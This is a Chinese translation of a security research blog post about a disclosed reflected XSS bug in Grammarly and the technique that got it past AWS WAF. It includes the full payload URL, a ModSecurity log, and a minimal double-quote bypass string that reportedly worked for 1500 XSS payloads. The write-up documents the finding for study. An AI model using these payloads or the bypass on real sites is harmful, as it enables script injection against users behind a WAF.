原文:
https://lab.wallarm.com/grammarly-fixed-xss-vulnerability-that-bypasses-aws-waf/
Grammarly宣布了漏洞赏金计划。许多安全研究人员提交了他们的漏洞并获得了丰厚的报酬。 Frans Rosen
提交了一份价值$3000美元的xss报告,此xss同时绕过了AWS的waf。报告的名称是“使用未验证的查询阐述覆盖配置至少造成反射xss”,报告链接:https://hackerone.com/reports/1082847,这里我们这要看一下payload为什么能绕过AWS的waf。
完整的Payload如下:
https://app.grammarly.com/docs/new?config={%22account%22:{%22subscription%22:%22javascript:alert(document.domain)//%22},%22api%22:{%22redirect%22:%22javascript:alert(document.domain)//%22}}
Payload里包含了json编码的xss语句。Json的subscription和redirect包含了传统的xss语句。如果我们将这个payload发给mod_security waf检测的化,我们会得到以下报警语句。
2021/03/03 01:10:44 [error] 41#41: *1 [client
172.17.0.1] ModSecurity: Access denied with code 403 (phase 2). Matched
"Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE'
(Value: `28' ) [file
"/etc/modsecurity.d/owasp-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"]
[line "80"] [id "949110"] [rev ""] [msg
"Inbound Anomaly Score Exceeded (Total Score: 28)"] [data
""] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity
"0"] [accuracy "0"] [tag "application-multi"]
[tag "language-multi"] [tag "platform-multi"] [tag
"attack-generic"] [hostname "172.17.0.1"] [uri
"/docs/new"] [unique_id "161473384455.381362"] [ref
""], client: 172.17.0.1, server: localhost, request: "GET
/docs/new?config={%22account%22:{%22subscription%22:%22javascript:alert(document.domain)//%22},%22api%22:{%22redirect%22:%22javascript:alert(document.domain)//%22}}
HTTP/1.1", host: "localhost:8080"
但是AWS的waf就会放过这个payload。

但是,如果我们要删除JSON对象并以纯文本方式使用相同的PAYLOAD,那么AWS WAF会拦截下来:

细心的读者可能会注意到,我们通过添加onerror属性来修改有效负载,以使该有效负载以HTML属性注入方式工作。没错,但是现在我们可以重新添加JSON前缀,看看会发生什么:

绕过了。我们只是简单的添加了JSON的前缀,AWS waf就放过了。刚开始我们以为AWS waf解析器解析出了问题,但是其实AWS waf根本就没有json解析功能。在缩减了payload之后,我们找到了被AWS waf阻止的payload。

但是在添加了一个双引号之后,就绕过了。

绕过的原因不在于json前缀,而是双引号本身。我们可以移除左大括号同样绕过,这是我们测试的PAYLOAD
""onerror=javascript:alert('I-LOVE-AWS-WAF!')
看起来很不合理,但是我们给1500条xss payload添加了任意数量的双引号都绕过了AWS的waf。
译者按:
大厂的waf也并没有全面实现语法解析器,有可能是因为效率原因,也有可能是安排在时程表上。但是程序对于输入是可以完整解析的,这就造成了解析的差异性,进而绕过了WAF。
本文迁移自知识星球“火线Zone”